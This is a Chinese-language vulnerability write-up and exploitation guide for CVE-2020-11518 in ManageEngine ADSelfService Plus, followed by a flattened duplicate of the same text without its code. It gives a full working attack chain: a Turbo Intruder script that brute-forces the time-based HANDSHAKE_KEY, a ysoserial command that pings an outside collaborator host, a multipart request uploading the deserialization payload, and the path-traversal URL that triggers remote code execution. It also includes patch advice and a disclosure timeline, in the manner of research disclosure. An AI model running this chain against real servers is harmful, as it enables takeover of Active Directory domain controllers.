挖洞经验 | 利用ZOHO ADSelfService Plus漏洞实现域控活动目录入侵
字数 1591 2025-08-15 21:31:52

ZOHO ManageEngine ADSelfService Plus漏洞分析与利用指南

1. 漏洞概述

ZOHO ManageEngine ADSelfService Plus在5815之前的版本存在远程未授权代码执行漏洞(CVE-2020-11518),该漏洞组合了以下两个安全问题:

  1. Java反序列化漏洞:通过CewolfServlet的路径遍历问题
  2. 任意文件上传漏洞:通过枚举HANDSHAKE_KEY绕过身份验证

该漏洞影响与域控服务器活动目录(Active Directory)集成的ADSelfService Plus系统,攻击者可利用此漏洞实现域控服务器的入侵。

2. 漏洞发现过程

2.1 目标识别

使用Aquatone工具进行前期探测时,发现多个子域名使用相同的ZOHO ManageEngine ADSelfService Plus登录界面。该软件通常用于大中型网络中管理活动目录账户密码。

2.2 环境搭建

  1. 下载30天试用版ADSelfService Plus
  2. 搭建本地测试环境,包括:
    • 域控制器(Domain Controller)
    • 活动目录(Active Directory)域
  3. 使用Bytecode Viewer分析Java架构的ADSelfService Plus

3. 漏洞分析

3.1 Java反序列化漏洞(CewolfServlet)

在web.xml中发现以下映射:

<servlet-mapping>
    <servlet-name>CewolfServlet</servlet-name>
    <url-pattern>/cewolf/*</url-pattern>
</servlet-mapping>

验证漏洞:

http://localhost:8888/cewolf/?img=path/to/evil.file

利用前提:需要先上传恶意文件到服务器

3.2 任意文件上传漏洞

发现智能卡证书上传点:

/LogonCustomization.do?form=smartCard&operation=Add

上传流程:

  1. 管理员上传智能卡证书
  2. 触发RestAPI调用,生成HANDSHAKE_KEY:
    /RestAPI/WC/SmartCard?HANDSHAKE_KEY=secret
    
  3. 校验HANDSHAKE_KEY:
    /servlet/HSKeyAuthenticator?PRODUCT_NAME=ManageEngine+ADSelfService+Plus&HANDSHAKE_KEY=secret
    
  4. 成功校验后,证书存储到:
    C:\ManageEngine\ADSelfService Plus\bin
    

关键问题

  • /RestAPI/servlet/HSKeyAuthenticator可公开访问
  • HANDSHAKE_KEY可被枚举

4. 密钥枚举技术

4.1 密钥生成机制分析

HSKeyAuthenticator.classRestAPIKey.class分析:

  1. 密钥基于当前时间戳(毫秒)生成
  2. 密钥有效期约2分钟(120000毫秒)
  3. 密钥生成逻辑:
    public static void generateKey() {
        Long cT = Long.valueOf(System.currentTimeMillis());
        key = cT.toString();
        generatedTime = cT;
    }
    
    public static String getKey() {
        Long cT = Long.valueOf(System.currentTimeMillis());
        if ((key == null) || (generatedTime.longValue() + 120000L < cT.longValue())) {
            generateKey();
        }
        return key;
    }
    

4.2 枚举策略

  1. 使用UTC时间戳(Java的currentTimeMillis返回UTC时间)
  2. 每秒至少生成1000个请求(理论要求)
  3. 实际使用Turbo Intruder脚本,设置约400rps

Turbo Intruder脚本

import time

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                         concurrentConnections=20,
                         requestsPerConnection=200,
                         pipeline=True,
                         timeout=2,
                         engine=Engine.THREADED)
    engine.start()
    
    rps = 400  # 请求数/秒
    while True:
        now = int(round(time.time()*1000))
        for i in range(now+(rps/2), now-(rps/2), -1):
            engine.queue(target.req, str(i))

def handleResponse(req, interesting):
    if 'SUCCESS' in req.response:
        table.add(req)

HTTP请求模板(base.txt)

POST /servlet/HSKeyAuthenticator?PRODUCT_NAME=ManageEngine+ADSelfService+Plus&HANDSHAKE_KEY=%s HTTP/1.1
Host: localhost:8888
Content-Length: 0
Connection: keep-alive

5. 漏洞利用

5.1 生成Payload

使用ysoserial生成反序列化Payload:

java -jar ysoserial-master-SNAPSHOT.jar MozillaRhino1 "ping ping-rce-MozillaRhino1.<your-burp-collaborator>"

5.2 上传恶意文件

利用枚举获得的HANDSHAKE_KEY上传恶意文件(如pieter.evil):

Exploit请求

POST /RestAPI/WC/SmartCard?mTCall=addSmartCardConfig&PRODUCT_NAME=ManageEngine+ADSelfService+Plus&HANDSHAKE_KEY=1585552472158 HTTP/1.1
Host: localhost:888
Content-Length: 2464
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxkQ2P09dvbuV1Pi4
Connection: close

------WebKitFormBoundaryxkQ2P09dvbuV1Pi4
Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="pieter.evil"
Content-Type: text/xml

<binary-ysoserial-payload-here>
------WebKitFormBoundaryxkQ2P09dvbuV1Pi4
Content-Disposition: form-data; name="CERTIFICATE_NAME"

blah
------WebKitFormBoundaryxkQ2P09dvbuV1Pi4
Content-Disposition: form-data; name="SMARTCARD_CONFIG"

{"SMARTCARD_PRODUCT_LIST":"4"}
------WebKitFormBoundaryxkQ2P09dvbuV1Pi4--

5.3 触发RCE

访问上传的文件触发反序列化:

http://target/cewolf/?img=bin/pieter.evil

6. 漏洞影响

  1. 远程代码执行(RCE)在域控服务器上
  2. 可能通过域控制器的链接劫持域名账户
  3. 可在活动目录域中创建新用户
  4. 实现内网横向移动(如通过VPN服务)

7. 修复建议

  1. 升级到ADSelfService Plus 5815或更高版本
  2. 限制对/RestAPI和/servlet/HSKeyAuthenticator的访问
  3. 加强HANDSHAKE_KEY的生成机制
  4. 对上传文件进行严格验证和重命名

8. 时间线

  • 2020.3.31: 向存在漏洞的公司报送漏洞
  • 2020.4.2: 向ZOHO公司报送漏洞
  • CVE编号: CVE-2020-11518

9. 总结

该漏洞组合了密钥枚举和反序列化问题,展示了企业软件中身份验证机制设计不当可能导致的严重后果。对于安全研究人员,此案例强调了深入代码分析和耐心测试的重要性。对于企业用户,则提醒及时更新关键基础设施组件的重要性。

ZOHO ManageEngine ADSelfService Plus漏洞分析与利用指南 1. 漏洞概述 ZOHO ManageEngine ADSelfService Plus在5815之前的版本存在远程未授权代码执行漏洞(CVE-2020-11518),该漏洞组合了以下两个安全问题: Java反序列化漏洞 :通过CewolfServlet的路径遍历问题 任意文件上传漏洞 :通过枚举HANDSHAKE_ KEY绕过身份验证 该漏洞影响与域控服务器活动目录(Active Directory)集成的ADSelfService Plus系统,攻击者可利用此漏洞实现域控服务器的入侵。 2. 漏洞发现过程 2.1 目标识别 使用Aquatone工具进行前期探测时,发现多个子域名使用相同的ZOHO ManageEngine ADSelfService Plus登录界面。该软件通常用于大中型网络中管理活动目录账户密码。 2.2 环境搭建 下载30天试用版ADSelfService Plus 搭建本地测试环境,包括: 域控制器(Domain Controller) 活动目录(Active Directory)域 使用Bytecode Viewer分析Java架构的ADSelfService Plus 3. 漏洞分析 3.1 Java反序列化漏洞(CewolfServlet) 在web.xml中发现以下映射: 验证漏洞: 利用前提 :需要先上传恶意文件到服务器 3.2 任意文件上传漏洞 发现智能卡证书上传点: 上传流程: 管理员上传智能卡证书 触发RestAPI调用,生成HANDSHAKE_ KEY: 校验HANDSHAKE_ KEY: 成功校验后,证书存储到: 关键问题 : /RestAPI 和 /servlet/HSKeyAuthenticator 可公开访问 HANDSHAKE_ KEY可被枚举 4. 密钥枚举技术 4.1 密钥生成机制分析 从 HSKeyAuthenticator.class 和 RestAPIKey.class 分析: 密钥基于当前时间戳(毫秒)生成 密钥有效期约2分钟(120000毫秒) 密钥生成逻辑: 4.2 枚举策略 使用UTC时间戳(Java的 currentTimeMillis 返回UTC时间) 每秒至少生成1000个请求(理论要求) 实际使用Turbo Intruder脚本,设置约400rps Turbo Intruder脚本 : HTTP请求模板(base.txt) : 5. 漏洞利用 5.1 生成Payload 使用ysoserial生成反序列化Payload: 5.2 上传恶意文件 利用枚举获得的HANDSHAKE_ KEY上传恶意文件(如pieter.evil): Exploit请求 : 5.3 触发RCE 访问上传的文件触发反序列化: 6. 漏洞影响 远程代码执行(RCE)在域控服务器上 可能通过域控制器的链接劫持域名账户 可在活动目录域中创建新用户 实现内网横向移动(如通过VPN服务) 7. 修复建议 升级到ADSelfService Plus 5815或更高版本 限制对/RestAPI和/servlet/HSKeyAuthenticator的访问 加强HANDSHAKE_ KEY的生成机制 对上传文件进行严格验证和重命名 8. 时间线 2020.3.31: 向存在漏洞的公司报送漏洞 2020.4.2: 向ZOHO公司报送漏洞 CVE编号: CVE-2020-11518 9. 总结 该漏洞组合了密钥枚举和反序列化问题,展示了企业软件中身份验证机制设计不当可能导致的严重后果。对于安全研究人员,此案例强调了深入代码分析和耐心测试的重要性。对于企业用户,则提醒及时更新关键基础设施组件的重要性。